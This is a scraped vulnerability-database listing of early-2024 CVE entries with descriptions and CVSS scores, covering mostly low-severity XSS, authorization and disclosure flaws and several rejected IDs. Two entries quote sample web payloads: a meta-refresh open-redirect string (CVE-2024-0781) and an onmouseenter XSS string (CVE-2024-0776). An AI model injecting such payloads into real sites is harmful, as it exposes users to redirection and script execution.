CVE-2024-0749	A phishing site could have repurposed an `about:` dialog to show phishing content with an incorrect origin in the address bar. This vulnerability affects Firefox < 122 and Thunderbird < 115.7.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-41790	Missing Authorization vulnerability in CodePeople WP Time Slots Booking Form.This issue affects WP Time Slots Booking Form: from n/a through 1.1.76.	4.3	More Details
CVE-2023-48714	Silverstripe Framework is the framework that forms the base of the Silverstripe content management system. Prior to versions 4.13.39 and 5.1.11, if a user should not be able to see a record, but that record can be added to a `GridField` using the `GridFieldAddExistingAutocompleter` component, the record's title can be accessed by that user. Versions 4.13.39 and 5.1.11 contain a fix for this issue.	4.3	More Details
CVE-2024-23677	In Splunk Enterprise versions below 9.0.8, the Splunk RapidDiag utility discloses server responses from external applications in a log file.	4.3	More Details
CVE-2023-6384	The WP User Profile Avatar WordPress plugin before 1.0.1 does not properly check for authorisation, allowing authors to delete and update arbitrary avatar	4.3	More Details
CVE-2024-22404	Nextcloud files Zip app is a tool to create zip archives from one or multiple files from within Nextcloud. In affected versions users can download "view-only" files by zipping the complete folder. It is recommended that the Files ZIP app is upgraded to 1.2.1, 1.4.1, or 1.5.0. Users unable to upgrade should disable the file zip app.	4.1	More Details
CVE-2024-22401	Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users could change the allowed list of apps, allowing them to use apps that were not intended to be used. It is recommended that the Guests app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability.	4.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-23332	The Notary Project is a set of specifications and tools intended to provide a cross-industry standard for securing software supply chains by using authentic container images and other OCI artifacts. An external actor with control of a compromised container registry can provide outdated versions of OCI artifacts, such as Images. This could lead artifact consumers with relaxed trust policies (such as `permissive` instead of `strict`) to potentially use artifacts with signatures that are no longer valid, making them susceptible to any exploits those artifacts may contain. In Notary Project, an artifact publisher can control the validity period of artifact by specifying signature expiry during the signing process. Using shorter signature validity periods along with processes to periodically resign artifacts, allows artifact producers to ensure that their consumers will only receive up-to-date artifacts. Artifact consumers should correspondingly use a `strict` or equivalent trust policy that enforces signature expiry. Together these steps enable use of up-to-date artifacts and safeguard against rollback attack in the event of registry compromise. The Notary Project offers various signature validation options such as `permissive`, `audit` and `skip` to support various scenarios. These scenarios includes 1) situations demanding urgent workload deployment, necessitating the bypassing of expired or revoked signatures; 2) auditing of artifacts lacking signatures without interrupting workload; and 3) skipping of verification for specific images that might have undergone validation through alternative mechanisms. Additionally, the Notary Project supports revocation to ensure the signature freshness. Artifact publishers can sign with short-lived certificates and revoke older certificates when necessary. This revocation serves as a signal to inform artifact consumers that the corresponding unexpired artifact is no longer approved by the publisher. This enables the artifact publisher to control the validity of the signature independently of their ability to manage artifacts in a compromised registry.	4.0	More Details
CVE-2023-39197	An out-of-bounds read vulnerability was found in Netfilter Connection Tracking (conntrack) in the Linux kernel. This flaw allows a remote user to disclose sensitive information via the DCCP protocol.	4.0	More Details
CVE-2024-22211	FreeRDP is a set of free and open source remote desktop protocol library and clients. In affected versions an integer overflow in `freerdp_bitmap_planar_context_reset` leads to heap-buffer overflow. This affects FreeRDP based clients. FreeRDP based server implementations and proxy are not affected. A malicious server could prepare a `RDPGFX_RESET_GRAPHICS_PDU` to allocate too small buffers, possibly triggering later out of bound read/write. Data extraction over network is not possible, the buffers are used to display an image. This issue has been addressed in version 2.11.5 and 3.2.0. Users are advised to upgrade. there are no know workarounds for this vulnerability.	3.7	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-50950	IBM QRadar SIEM 7.5 could disclose sensitive email information in responses from offense rules. IBM X-Force ID: 275709.	3.7	More Details
CVE-2024-23329	changedetection.io is an open source tool designed to monitor websites for content changes. In affected versions the API endpoint `/api/v1/watch/<uuid>/history` can be accessed by any unauthorized user. As a result any unauthorized user can check one's watch history. However, because unauthorized party first needs to know a watch UUID, and the watch history endpoint itself returns only paths to the snapshot on the server, an impact on users' data privacy is minimal. This issue has been addressed in version 0.45.13. Users are advised to upgrade. There are no known workarounds for this vulnerability.	3.7	More Details
CVE-2024-0782	A vulnerability has been found in CodeAstro Online Railway Reservation System 1.0 and classified as problematic. This vulnerability affects unknown code of the file pass-profile.php. The manipulation of the argument First Name/Last Name/User Name leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251698 is the identifier assigned to this vulnerability.	3.5	More Details
CVE-2024-0773	A vulnerability classified as problematic was found in CodeAstro Internet Banking System 1.0. Affected by this vulnerability is an unknown functionality of the file pages_client_signup.php. The manipulation of the argument Client Full Name leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251677 was assigned to this vulnerability.	3.5	More Details
CVE-2024-0781	A vulnerability, which was classified as problematic, was found in CodeAstro Internet Banking System 1.0. This affects an unknown part of the file pages_client_signup.php. The manipulation of the argument Client Full Name with the input <meta http-equiv="refresh" content="0; url=https://vuldb.com" /> leads to open redirect. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251697 was assigned to this vulnerability.	3.5	More Details
CVE-2024-0722	A vulnerability was found in code-projects Social Networking Site 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file message.php of the component Message Page. The manipulation of the argument Story leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251546 is the identifier assigned to this vulnerability.	3.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0696	A vulnerability, which was classified as problematic, was found in AtroCore AtroPIM 1.8.4. This affects an unknown part of the file /#ProductSerie/view/ of the component Product Series Overview. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251481 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	3.5	More Details
CVE-2024-0776	A vulnerability, which was classified as problematic, has been found in LinZhaoguan pb-cms 2.0. Affected by this issue is some unknown functionality of the component Comment Handler. The manipulation with the input <div onmouseenter="alert("xss)"> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251678 is the identifier assigned to this vulnerability.	3.5	More Details
CVE-2024-0652	A vulnerability was found in PHPGurukul Company Visitor Management System 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file search-visitor.php. The manipulation leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251378 is the identifier assigned to this vulnerability.	3.5	More Details
CVE-2024-0721	A vulnerability has been found in Jspxcms 10.2.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Survey Label Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251545 was assigned to this vulnerability.	3.5	More Details
CVE-2024-0720	A vulnerability, which was classified as problematic, was found in FactoMineR FactoInvestigate up to 1.9. Affected is an unknown function of the component HTML Report Generator. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251544. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	3.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-22410	Creditcoin is a network that enables cross-blockchain credit transactions. The Windows binary of the Creditcoin node loads a suite of DLLs provided by Microsoft at startup. If a malicious user has access to overwrite the program files directory it is possible to replace these DLLs and execute arbitrary code. It is the view of the blockchain development team that the threat posed by a hypothetical binary planting attack is minimal and represents a low-security risk. The vulnerable DLL files are from the Windows networking subsystem, the Visual C++ runtime, and low-level cryptographic primitives. Collectively these dependencies are required for a large ecosystem of applications, ranging from enterprise-level security applications to game engines, and don’t represent a fundamental lack of security or oversight in the design and implementation of Creditcoin. The blockchain team takes the stance that running Creditcoin on Windows is officially unsupported and at best should be thought of as experimental.	3.3	More Details
CVE-2024-23210	This issue was addressed with improved redaction of sensitive information. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to view a user's phone number in system logs.	3.3	More Details
CVE-2024-23211	A privacy issue was addressed with improved handling of user preferences. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A user's private browsing activity may be visible in Settings.	3.3	More Details
CVE-2023-5081	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier.	3.3	More Details
CVE-2024-23217	A privacy issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. An app may be able to bypass certain Privacy preferences.	3.3	More Details
CVE-2024-0716	A vulnerability classified as problematic has been found in Byzoro Smart S150 Management Platform V31R02B15. This affects an unknown part of the file /log/download.php of the component Backup File Handler. The manipulation leads to information disclosure. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The identifier VDB-251541 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	3.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-22400	Nextcloud User Saml is an app for authenticating Nextcloud users using SAML. In affected versions users can be given a link to the Nextcloud server and end up on a uncontrolled thirdparty server. It is recommended that the User Saml app is upgraded to version 5.1.5, 5.2.5, or 6.0.1. There are no known workarounds for this issue.	3.1	More Details
CVE-2024-22403	Nextcloud server is a self hosted personal cloud system. In affected versions OAuth codes did not expire. When an attacker would get access to an authorization code they could authenticate at any time using the code. As of version 28.0.0 OAuth codes are invalidated after 10 minutes and will no longer be authenticated. To exploit this vulnerability an attacker would need to intercept an OAuth code from a user session. It is recommended that the Nextcloud Server is upgraded to 28.0.0. There are no known workarounds for this vulnerability.	3.0	More Details
CVE-2024-0718	A vulnerability, which was classified as problematic, has been found in liuwy-dlsdys zhglxt 4.7.7. This issue affects some unknown processing of the file /oa/notify/edit of the component HTTP POST Request Handler. The manipulation of the argument notifyTitle leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251543.	2.4	More Details
CVE-2016-15037	A vulnerability, which was classified as problematic, has been found in go4rayyan Scumblr up to 2.0.1a. Affected by this issue is some unknown functionality of the component Task Handler. The manipulation leads to cross site scripting. The attack may be launched remotely. Upgrading to version 2.0.2 is able to address this issue. The patch is identified as 5c9120f2362ddb7cbe48f2c4620715adddc4ee35. It is recommended to upgrade the affected component. VDB-251570 is the identifier assigned to this vulnerability.	2.4	More Details
CVE-2024-22213	Deck is a kanban style organization tool aimed at personal planning and project organization for teams integrated with Nextcloud. In affected versions users could be tricked into executing malicious code that would execute in their browser via HTML sent as a comment. It is recommended that the Nextcloud Deck is upgraded to version 1.9.5 or 1.11.2. There are no known workarounds for this vulnerability.	0.0	More Details
CVE-2024-0713	Rejected reason: ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2020-28871. Reason: This candidate is a reservation duplicate of CVE-2020-28871. Notes: All CVE users should reference CVE-2020-28871 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage.	N/A	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-51199	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that there was not reasonable evidence to determine the existence of a vulnerability.	N/A	More Details
CVE-2023-51208	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that there was not reasonable evidence to determine the existence of a vulnerability.	N/A	More Details
CVE-2023-51201	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that there was not reasonable evidence to determine the existence of a vulnerability.	N/A	More Details
CVE-2022-45795	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2023-43956	Rejected reason: DO NOT USE THIS CVE RECORD. ConsultIDs: CVE-2023-36263. Reason: This record is a duplicate of CVE-2023-36263. Notes: All CVE users should reference CVE-2023-36263 instead of this record. All references and descriptions in this record have been removed to prevent accidental usage.	N/A	More Details
CVE-2023-45485	Rejected reason: DO NOT USE THIS CVE RECORD. ConsultIDs: none. Reason: This record was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.	N/A	More Details
CVE-2023-47092	Rejected reason: DO NOT USE THIS CVE RECORD. ConsultIDs: none. Reason: This record was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.	N/A	More Details
CVE-2023-51200	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that there was not reasonable evidence to determine the existence of a vulnerability.	N/A	More Details
CVE-2022-45791	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0694	Rejected reason: ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2023-6620. Reason: This candidate is a reservation duplicate of CVE-2023-6620. Notes: All CVE users should reference CVE-2023-6620 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage.	N/A	More Details
CVE-2024-23854	Rejected reason: This CVE ID was unused by the CNA.	N/A	More Details
CVE-2023-42915	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2024-0706	Rejected reason: ***REJECT*** This was a false positive report.	N/A	More Details
CVE-2024-0663	Rejected reason: REJECT: This is a false positive report.	N/A	More Details